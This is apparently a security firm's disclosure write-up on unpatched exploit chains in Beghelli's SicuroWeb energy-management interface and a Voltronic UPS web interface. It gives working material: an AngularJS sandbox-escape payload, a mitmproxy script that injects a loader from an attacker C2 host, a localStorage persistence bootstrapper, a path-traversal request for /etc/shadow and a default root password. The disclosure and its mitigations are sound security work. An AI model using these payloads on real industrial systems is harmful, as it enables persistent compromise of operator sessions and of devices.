BOSS

BOURBON OFFENSIVE SECURITY SERVICES

← BACK TO PUBLICATIONS

VULNERABILITY RESEARCH CVE-2026-22191 CVE-2026-41468 CVE-2026-41469

CVE-2026-22192 CVE-2026-22199 0-DAY April 22, 2026 -- 120-day coordinated disclosure

AngularJS Template Injection to Client-Side RCE -- Three 0-Day CVEs Chained in Industrial Management Software

Three chained 0-day vulnerabilities in SicuroWeb, the AngularJS-based management interface of the Sicuro24 platform by Beghelli, enable pre-authentication arbitrary JavaScript execution in operator browsers -- with full persistence. No user interaction required. No patch available.

9.3

CVSS -- SICUROWEB CHAIN

10.0

CVSS -- VOLTRONIC CHAIN

5

CVES -- THIS PUBLICATION

NO PATCH

VENDOR UNRESPONSIVE

BOSS

BOURBON OFFENSIVE SECURITY SERVICES

These vulnerabilities were discovered during a professional security assessment and reported to both vendors on December 9th, 2025. Neither vendor has acknowledged the disclosure or published a fix. This publication follows the 120-day coordinated disclosure deadline set by VulnCheck.

Context & Discovery

During a penetration test defined as exhaustive in scope, SicuroWeb -- the web-based management interface of the Sicuro24 platform developed by Beghelli -- was identified as an interesting target. The application is used for energy supply control within industrial and OT environments and is exposed with no known public vulnerabilities. This was a full blackbox assessment with no credentials.

The objective was clear: if a vulnerability existed, it would need to be found from scratch. The attack surface was minimal. What followed was a 7-step exploit chain that turned a constrained template injection into a persistent, remotely-controlled JavaScript execution environment inside the victim's browser -- with no user interaction.

EXPLOIT CHAIN -- CVE-2026-22191

CVE-2026-22191 Template Injection -- CWE-79, CWE-1336

BOSS
BOURBON OFFENSIVE SECURITY SERVICES

CVSS 9.3 Critical (chain) CWE-79 CWE-94 CWE-1104 CWE-693 CWE-1336

Step 1 -- Technology Identification & Attack Surface

The first challenge was identifying the technology stack with no credentials and no prior documentation. A review of the HTTP responses and JavaScript assets quickly revealed that SicuroWeb was built on AngularJS, the legacy client-side MVC framework from Google. More precisely:

```
// Identified in a JS asset
angular.version.full = "1.5.2"
```

AngularJS 1.5.2 is a version with known sandbox escape primitives. The AngularJS sandbox was a security mechanism introduced in 1.x that attempted to restrict what JavaScript could be executed inside template expressions -- but it was formally removed in AngularJS 1.6 after being proven bypassed repeatedly. Versions prior to 1.6 are therefore inherently susceptible.

The attack surface was extremely limited: the login form rejected all injection attempts without reflection. However, a more careful enumeration of the application's directory structure revealed a critical exposure:

```
GET /templates/   HTTP/1.1
→ Directory listing enabled
→ All AngularJS HTML templates exposed and accessible unauthenticated
```

Inside these templates, the application was inserting values into an AngularJS-compiled template context without sanitization -- meaning AngularJS expressions placed inside `{{ }}` delimiters would be evaluated and executed automatically by the framework.

BOSS
BOURBON OFFENSIVE SECURITY SERVICES

AngularJS Template Injection (Vuln. #1)

The initial proof of injection was established using a minimal payload that confirmed expression evaluation. The key insight is that AngularJS does not display the raw expression -- it *evaluates* it. There is no visible output for a successful injection; execution is the only indicator.

PAYLOAD -- INITIAL CONFIRMATION

```
{{a=(this).constructor.constructor('alert(1)')()}}
```

Execution flow:

- AngularJS compiles the template and encounters the `{{ }}` expression
- The expression accesses `this.constructor.constructor` -- which resolves to `Function()`
- `Function('alert(1)')` creates an anonymous function
- The trailing `()` immediately invokes it
- `alert(1)` fires -- expression evaluation confirmed

> **The injection was not visible as output on the page. AngularJS evaluated it directly -- this is a defining characteristic of template injection versus reflected XSS. The payload is not reflected as text; it is executed as code.**

The template injection was classified as CWE-79 (Cross-Site Scripting) and CWE-1336 (Template Injection) and assigned CVE-2026-22191. At this stage, execution was constrained within the AngularJS sandbox.

Sandbox Escape (Vuln. #2)

BOSS
BOURBON OFFENSIVE SECURITY SERVICES

The AngularJS sandbox restricts access to potentially dangerous objects like `Function`, `window`, and `document`. However, AngularJS 1.5.2 contains a well-documented weakness in its sandbox implementation: it does not block access to `Function` when reached through prototype chain traversal.

The escape primitive leveraged is based on a classic technique:

- Start from any in-scope object (`this` or a string literal `''`)
- Access `.constructor` -- returns the object's own constructor (e.g., `String`)
- Access `.constructor` again -- returns `Function` itself
- `Function('code')()` executes arbitrary JavaScript outside the sandbox

PAYLOAD -- SANDBOX ESCAPE CONFIRMATION

```
{{(this).constructor.constructor('alert("Angular Sandbox Bypassed")')()}}
```

The alert fired. The sandbox was defeated. From this point, the attacker has unrestricted access to native browser APIs:

- Full DOM read/write (`document.querySelector`, `innerHTML`)
- Script element creation and injection (`document.createElement('script')`)
- Access to browser storage (`localStorage`, `sessionStorage`)
- Session cookie access (if not `HttpOnly`)
- Arbitrary HTTP requests (`fetch`, `XMLHttpRequest`)

This is classified as CWE-94 (Code Injection) and CWE-1104 (Use of Unmaintained Third-Party Components) and assigned CVE-2026-41468. The use of AngularJS 1.5.2 is itself the enablement vector -- this version's sandbox was broken years before this engagement.

No Reflected Vector: MITM Pivot

With a working sandbox escape payload confirmed, the next challenge was delivery. Every HTML template and `$routeProvider` route was reviewed systematically for:

- Unsanitized interpolations (`{{ }}` with user-controlled values)
- Trust-bound attributes (`ng-bind-html`, `$sce.trustAsHtml`)
- Reflection of `$location.search()` values in templates

The conclusion was unambiguous: no GET-based injection point reflected into templates. No URL parameter was processed by the template engine in a way that would allow remote injection. This rules out a standard reflected XSS delivery vector and would normally reduce the vulnerability to "self-XSS" -- exploitable only by the attacker against themselves.

> **This is the technical pivot that elevates this finding from medium-severity XSS to a full pre-authentication attack chain. The delivery mechanism is not the web application -- it is the network layer.**

Since the application operated over plaintext HTTP with no HTTPS enforcement, a Man-in-the-Middle position on the network path allowed transparent interception and modification of responses. The vulnerability was not in how the application served the page -- it was in the fact that responses could be modified in transit before reaching the victim's browser.

Step 5 -- Weaponization via mitmproxy

A custom `mitmproxy` addon was developed to automatically inject the AngularJS template injection + sandbox escape payload into every intercepted HTML response. The logic is a response rewriter: if the content type is `text/html`, inject before `</head>`. No user interaction required. The payload fires on every page load.

```
ATTACKER = "[ATTACKER-C2]:8081"

SANDBOX_ESCAPE_TI_PAYLOAD = """
<div ng-init="__p='{{constructor.constructor(
  `(function(){
    var s = document.createElement('script');
    s.src = 'http://[ATTACKER-C2]/jquery.js';
    document.head.appendChild(s);
  })()`
)()}}'">{{__p}}</div>
"""

def response(flow: http.HTTPFlow) -> None:
    ct = flow.response.headers.get("content-type", "").lower()
    if "text/html" in ct:
        html = flow.response.get_text()
        injection = "<script>" + SANDBOX_ESCAPE_TI_PAYLOAD + "</script>"
        html = html.replace("</head>", injection + "</head>")
        flow.response.set_text(html)
```

Launch:

```
root@attacker:~# mitmproxy -s mitm-exploit.py
```

From this point, every time the victim loads any page of SicuroWeb through the intercepted connection, the payload executes automatically. The result is:

- Remote, controllable JavaScript execution

Step 6 -- Persistence via Missing CSP (Vuln. #3)

The absence of a Content Security Policy is not a standalone vulnerability, but in the context of this chain, it is the mechanism that transforms one-shot script execution into a persistent, cross-session foothold.

A restrictive CSP would have blocked:

- Inline script execution (`script-src 'none'` or nonce-based)
- Dynamic script element creation
- Loading of external scripts from attacker-controlled origins

With no CSP in place, the browser imposes no restrictions. The persistence mechanism stored the attacker's next-stage loader URL in `localStorage` -- a mechanism that survives page navigation, logout/login cycles, and browser restarts:

PERSISTENCE BOOTSTRAPPER -- LOCALSTORAGE-BASED

```
// Executed once via the sandbox escape -- stores the loader URL
localStorage.setItem("persist_loader", "https://[ATTACKER-C2]/payload.js");

// Runs on every page load -- no further MITM required
const url = localStorage.getItem("persist_loader");
if (url) {
  let s = document.createElement("script");
  s.src = url;
  document.head.appendChild(s);
}
```

BOSS
BOURBON OFFENSIVE SECURITY SERVICES

- Cross-session persistence -- survives browser restarts
- Remote command capability -- updating `payload.js` changes behavior without re-exploitation
- CSP bypass by design -- there is no policy to bypass

Classification: CWE-693 (Protection Mechanism Failure) -- assigned CVE-2026-41469. The absence of a defensive header becomes an offensive primitive.

Full Chain -- Impact Analysis

01 AngularJS Template Injection -- CVE-2026-22191

Attacker-controlled expressions evaluated inside AngularJS template context. Enables client-side code execution within sandbox constraints. CWE-79, CWE-1336.

02 AngularJS 1.5.2 Sandbox Escape -- CVE-2026-41468

Legacy AngularJS version allows prototype chain traversal to reach `Function()` constructor. Escalates template injection to unrestricted JS execution. CWE-94, CWE-1104.

03 Missing Content Security Policy -- CVE-2026-41469

No CSP headers present. External script loading and localStorage persistence are unrestricted. Transforms one-shot execution into long-term browser compromise. CWE-693.

By combining these three weaknesses, an attacker in a MITM position achieves a stable, remote-controlled, persistent execution environment inside the browser of any authenticated SicuroWeb operator. The resulting capabilities include:

- Arbitrary JavaScript execution inside authenticated management sessions

- Social engineering via UI replacement (credential harvesting)
- Lateral movement via SOCKS proxy or BeEF-style C2 from the browser
- Persistent compromise surviving logout, navigation, and browser restarts

> **In an OT/ICS environment, a compromised operator browser with full DOM control over the energy management interface represents a significant risk -- not just to information security, but to the operational processes being managed through that interface.**

Disclosure Timeline

DECEMBER 4, 2025

Vulnerabilities discovered during a professional security assessment.

DECEMBER 8, 2025

CVE request submitted to MITRE. No acknowledgement received.

DECEMBER 9, 2025

Coordinated disclosure initiated with Beghelli vendor. No response received.

DECEMBER 29, 2025

Submission to VulnCheck for CVE assignment and coordinated publication.

APRIL 22, 2026

120-day disclosure deadline reached. CVE-2026-22191, CVE-2026-41468, CVE-2026-41469 assigned (SicuroWeb). CVE-2026-22192, CVE-2026-22199 assigned (Voltronic). Full public disclosure -- no patch available.

As no patch has been issued by the vendor, the following compensating controls apply immediately:

- Upgrade or remove AngularJS -- AngularJS 1.x is end-of-life since December 2021. The sandbox was not a security mechanism; it was always breakable. Migrate to a maintained framework.
- Deploy a restrictive Content Security Policy -- At minimum: `script-src 'self'` to block external script loading. Nonce-based CSP eliminates inline execution entirely.
- Enforce HTTPS/TLS -- The MITM delivery vector is only viable over plaintext HTTP. TLS with HSTS eliminates the network injection path.
- Sanitize template rendering -- Patch logic to prevent user-controlled values from being passed to Angular's `$compile` or template evaluation context.
- Network segmentation -- Isolate SicuroWeb interfaces from general network access. Restrict to dedicated management VLANs.
- If not actively used -- decommission -- A management interface that is not actively used should be removed from the network entirely.

Key Takeaways

THREAT

Legacy JS Frameworks Are Attack Surface

AngularJS 1.x reached end-of-life in 2021. Every deployment still running it carries known, publicly documented sandbox escape vectors. Version matters.

DEFENSE

CSP Is Not Optional in OT Environments

Without a Content Security Policy, client-side injection escalates trivially to persistent compromise. CSP is a cheap, high-value defensive header that eliminates entire attack classes.

BOSS
BOURBON OFFENSIVE SECURITY SERVICES

This chain was exploitable before this publication. The absence of a CVE does not mean the absence of a threat. Threat actors do not wait for disclosure deadlines.

BONUS -- CONCURRENT PUBLICATION

Voltronic Power SNMP Web Pro v1.1 -- Pre-Auth Root RCE Chain

CVE-2026-22192 + CVE-2026-22199

Voltronic Power SNMP Web Pro v1.1 -- Client-side auth bypass + Pre-auth path traversal → /etc/shadow disclosure → offline hash crack → SSH root RCE

CVSS 10.0 Critical | CWE-306 | CWE-284 | CWE-22

During the same assessment, an industrial IoT device running the SNMP Web Pro management interface (Voltronic Power, version 1.1) was found vulnerable to a separate three-step chain that results in unauthenticated root-level compromise.

EXPLOIT CHAIN -- CVE-2026-22192 / CVE-2026-22199

01	→	02	→	03	→	04	→	05
AUTH BYPASS LOCALSTORAGE		PATH TRAVERSAL UPLOAD.CGI		/ETC/SHADOW DISCLOSURE		HASH CRACK OFFLINE		SSH ROOT BUSYBOX

CVE-2026-22192 -- Client-Side Authentication Bypass

Stores authentication state and access control logic exclusively client-side, stored in browser `localStorage`. There is no server-side session validation. An attacker can manipulate local storage values to bypass the authentication gate entirely without any credentials.

```
// Authentication state stored client-side only
// File: /commJS/login.js -- No server-side enforcement
// Bypass: set localStorage auth values directly in browser console
```

CVE-2026-22199 -- Pre-Auth Path Traversal via upload.cgi

The CGI endpoint `upload.cgi` fails to validate the `params` parameter, allowing directory traversal without authentication. This enables arbitrary file disclosure from the underlying Linux system.

```
GET /cgi-bin/upload.cgi?name=download&params=../../../../../../../etc/shadow HTTP/1.1
Host: [REDACTED-DEVICE]

→ Returns the contents of /etc/shadow directly
→ No authentication required
```

Root RCE -- Hash Crack + SSH

The retrieved `/etc/shadow` contained the root password hash. Offline cracking revealed default credentials (`root / 12345678`), which granted direct SSH access to the device:

```
ssh root@[REDACTED-DEVICE]
→ BusyBox shell as root
→ Full device compromise
→ Persistent backdoor capability
→ Control over industrial UPS functions
```

BOSS
BOURBON OFFENSIVE SECURITY SERVICES

pact of this chain: a completely unauthenticated attacker with network access to the device
ie compromise of an industrial IoT device. In OT environments, this device
ccess to network segments not reachable from corporate infrastructure, making it a high-value pivot point.

CVSS 10.0

Pre-Auth, Zero Interaction

No credentials, no user interaction, no prerequisite beyond network access. Full root compromise in three HTTP requests and an offline dictionary attack.

OT RISK

Industrial Pivot Point

SNMP-managed UPS devices are common in industrial and critical infrastructure environments, often connected to OT segments. A compromised device is an ideal lateral movement staging point.

MITIGATE NOW

No Patch -- Compensate

Strict network segmentation, no WAN exposure, SSH access restricted to management networks, rotate default credentials immediately, monitor for anomalous SNMP traffic.

Concerned about similar exposures in your environment?

BOSS specializes in exhaustive offensive security assessments -- including blackbox 0-day research on OT/ICS interfaces, web application attack chains, and adversary simulation. We find what others miss.

Get in touch →

BOSS

BOURBON OFFENSIVE SECURITY SERVICES

BOSS

OFFENSE 4 DEFENSE